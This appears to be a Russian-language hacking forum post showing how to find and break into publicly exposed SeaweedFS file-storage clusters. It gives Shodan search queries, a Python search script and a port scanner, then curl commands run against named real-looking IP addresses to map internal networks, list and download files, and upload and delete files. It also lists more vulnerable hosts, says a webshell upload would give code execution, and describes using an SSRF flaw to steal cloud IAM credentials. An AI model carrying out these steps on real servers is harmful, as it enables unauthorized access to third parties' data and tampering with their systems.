Не удалось прогрузить медиа
Всем привет. Я тут смотрел какую то фигню в инете, и вдруг наткнулся на кое-что интересное и решил поделиться. Речь пойдёт про SeaweedFS - распределённое файловое хранилище, которое используют для ML-артефактов, CDN, бэкапов и прочего. 34 тысячи звёзд на шитхабе, вроде солидный проект.
Вот на днях вышла новость - CVE-2026-73080, unauthenticated SSRF через gRPC. CVSS 9.3, звучит страшно. Но я покопался и оказалось что самое интересное даже не сам CVE, а то что эти кластеры лежат в открытом доступе целиком.
Для тех кто не в курсе что такое SeaweedFS - представьте себе такое хранилище файлов, которое размазано по нескольким серверам. Есть Master (главный сервер, рулит всем), Volume Server (тут лежат сами файлы) и Filer (это типа файлового менеджера, через который можно ходить по файлам). И вот представьте что кто-то выложил весь этот зоопарк в интернет и забыл закрыть дверь. Вот про это и будет статья.
Шодан, любимый наш шодан
Всё как обычно, Shodan. У SeaweedFS есть характерные признаки - заголовок
SeaweedFS 30GB в HTML, путь /seaweedfsstatic/ для статики, дефолтные порты.Дорки для поиска:
Code:
http.html:"seaweedfs"
http.html:"seaweedfsstatic"
http.html:"SeaweedFS" "30GB"
Через CLI:
Bash:
shodan search 'http.html:"seaweedfs"' --fields ip_str,port,org,country_code --limit 100
Ну или по класике питон:
Python:
import requests, sys
key = sys.argv[1]
for dork in ['http.html:"seaweedfs"', 'http.html:"seaweedfsstatic"', 'http.html:"SeaweedFS" "30GB"']:
r = requests.get('https://api.shodan.io/shodan/host/search',
params={'key': key, 'query': dork, 'limit': 100}, timeout=20).json()
for m in r.get('matches', []):
print('%s:%s %s' % (m['ip_str'], m['port'], m.get('location', {}).get('country_name', '')))
Не удалось прогрузить медиа
Результат: 300+ хостов по всему миру. Китай, Германия, США, Франция, Вьетнам... Из них примерно 150 на старых версиях (до 4.24), но версия тут не главное.
Выбираем таргет:
103.171.92.153, Вьетнам, версия 3.65. Сразу проверяем:
Bash:
curl -s http://103.171.92.153:9333/cluster/status
Не удалось прогрузить медиа
JSON:
{"IsLeader":true,"Leader":"master:9333","MaxVolumeId":482387}
Работает.
MaxVolumeId: 482387 почти полмиллиона томов.Смотрим что нам отдаёт Master
Master Server (порт 9333) - это мозг кластера. И он отдаёт всю внутреннюю структуру без пароля.
Bash:
curl -s http://103.171.92.153:9333/dir/status | jq
Не удалось прогрузить медиа
JSON:
{
"Topology": {
"DataCenters": [{
"Racks": [{
"DataNodes": [{
"Url": "172.19.0.3:8080",
"PublicUrl": "http://localhost:8000",
"Volumes": 125
}]
}]
}]
}
}
Оп, internal IP утёк -
172.19.0.3:8080. Это Docker-сеть, один запрос и мы уже знаем внутреннюю структуру. Причём Master ещё и подскажет куда записывать:
Bash:
curl -s http://103.171.92.153:9333/dir/assign
Не удалось прогрузить медиа
Спасибо, Master, очень любезно.
Но это ещё не всё. SeaweedFS - это не один порт, а целый зоопарк сервисов. Давай глянем что ещё открыто на этом хосте:
Вот простой скриптик:
Python:
import socket, sys
sys.stdout.reconfigure(encoding='utf-8')
ip = '103.171.92.153'
print('Скан портов %s:' % ip)
for port in [9333,9334,18080,19333,19334,19335,8080,8081,8443,8888,8889,8890,3000,8000,443,80,22,8080,8333,9000,9001]:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
if s.connect_ex((ip, port)) == 0:
print(' %d OPEN' % port)
s.close()
Не удалось прогрузить медиа
Можно конечно юзануть nmap, но так то все спеки можно в тырнете найти.
Примерно так получается
Дефолтные порты SeaweedFS:
- 9333 - Master (HTTP API, рулит кластером)
- 19333 - Master gRPC
- 8080 - Volume Server (HTTP, тут сами файлы)
- 18080/19334 - Volume Server gRPC
- 8888 - Filer (файловый менеджер, самое вкусное)
- 8333 - S3 API (если включён)
У нас открыто почти всё. Идём смотреть Filer.
А вот и самое вкусное - Filer
Порт 8888. Filer - это файловый менеджер. Полный доступ к всей файловой системе кластера.
Смотрим что в корне:
Bash:
python -c "import requests; [print(e['FullPath']) for e in requests.get('http://103.171.92.153:8888/', headers={'Accept':'application/json'}).json()['Entries']]"
Не удалось прогрузить медиа
И тут начинается самое интересное. В корне лежат:
Code:
/admin/uploads.php
/api/auth
/api/content/
/api/v2
/app
/buckets/SDK
/buckets/_users
/cgi-bin/
/dashboard/
/fileserver/
/wp-admin/
/wp-content/
...
PHP файлы, API endpoints, S3 buckets, WordPress директории. Кто-то использует SeaweedFS как файловый сервер для своего сайта. Прям кек
Читаем любой файл:
Bash:
curl -s http://103.171.92.153:8888/nanyakejitoxiang.png -o img.png
163KB картинка, скачалась без проблем.
Не удалось прогрузить медиа
А теперь записываем свой файл:
Bash:
curl -X POST http://103.171.92.153:8888/test.txt -F "[email protected]"
Не удалось прогрузить медиа
Смотрим:
Не удалось прогрузить медиа
Работает. Удаляем:
Bash:
curl -X DELETE http://103.171.92.153:8888/test.txt
Тоже работает. *Полный CRUD на файловой системе. Если файлы сервируются веб-сервером (а PHP в корне намекает), то загрузка webshell = RCE. Но статья не об этом...
Volume Server - ещё одна открытая дверь
Помнишь, Master нам отдал
publicUrl: http://localhost:8000? Volume Server крутится не только внутри Docker. На порту 8000 он тоже открыт наружу:
Bash:
curl -s http://103.171.92.153:8000/status
Не удалось прогрузить медиа
JSON:
{"DiskStatuses":[{"dir":"/data","all":549242011648,"used":447366258688,"free":101875752960,"percent_used":81.45}],"Version":"8000GB 3.65 0edc5aad9"}
549 гигов диска, 447 занято (81%). Версия подтвердилась - 3.65. Через Volume Server можно напрямую читать и записывать файлы, минуя Filer.
И на сладкое - S3 API на порту 8333:
Bash:
curl -s http://103.171.92.153:8333/
Не удалось прогрузить медиа
XML:
<ListAllMyBucketsResult>
<Buckets>
<Bucket>
<CreationDate>2024-05...
S3 buckets в открытом доступе. Если приложение хранит там приватные данные - все читается.
А что же CVE?
Теперь честно про CVE-2026-73080. Уязвимость в gRPC RPC
FetchAndWriteNeedle - он принимает URL, скачивает данные и записывает в local needle. До версии 4.24 нет авторизации и нет валидации адреса. Можно указать 169.254.169.254 (cloud metadata) и прочитать IAM credentials.Звучит мощно. Но я попробовал на нескольких хостах - gRPC порты volume server'ов закрыты. Просканировал:
ХостHTTP (8080)gRPC (19334)74.207.232.252openclosed159.203.170.211openclosed31.128.41.154openclosed103.49.70.236openclosed
gRPC слушает только на internal IP (Docker-сеть). Для эксплуатации нужен доступ из внутренней сети или другой foothold.
Вывод: CVE реальный, но на практике главный вектор - не SSRF, а открытый Filer. Если прям поискать то получишь тысячи хостов с полным доступом к файлам. Один curl и ты внутри.
## Что нашли по миру
Просканировали 300+ хостов. Выборка:
IPСтранаЧто открыто103.171.92.153VietnamMaster + Filer34.158.169.249USA (GCP)Master152.53.80.115USAMaster74.207.232.252USAMaster + VS + Filer116.172.92.3ChinaMaster103.49.70.236IndiaMaster + VS + Filer95.229.156.61ItalyMaster
[th width="25.1732%"]
MaxVolumeId
[/th]
[td width="25.1732%"]
482387
[/td]
[td width="25.1732%"]
326817
[/td]
[td width="25.1732%"]
348942
[/td]
[td width="25.1732%"]
-
[/td]
[td width="25.1732%"]
63419
[/td]
[td width="25.1732%"]
-
[/td]
[td width="25.1732%"]
235654
[/td]
MaxVolumeId
[/th]
[td width="25.1732%"]
482387
[/td]
[td width="25.1732%"]
326817
[/td]
[td width="25.1732%"]
348942
[/td]
[td width="25.1732%"]
-
[/td]
[td width="25.1732%"]
63419
[/td]
[td width="25.1732%"]
-
[/td]
[td width="25.1732%"]
235654
[/td]
Internal IP утекают через
/dir/status на всех. Docker сети, K8s pods, GCP instances - вся внутренняя карта.Вот такая история. 300+ кластеров в открытом доступе, полдня работы, ноль паролей. Самое смешное - для всего этого даже CVE не нужен. Просто открытый порт и один curl.
Не болейте, закрывайте порты.
З.Ы. Оказывается что можно просто открыть сам айпишник в браузере :P
IP:8888
Не удалось прогрузить медиа
👍50
❤️7
🔥11
👏7
🤔7
😢9
LIMB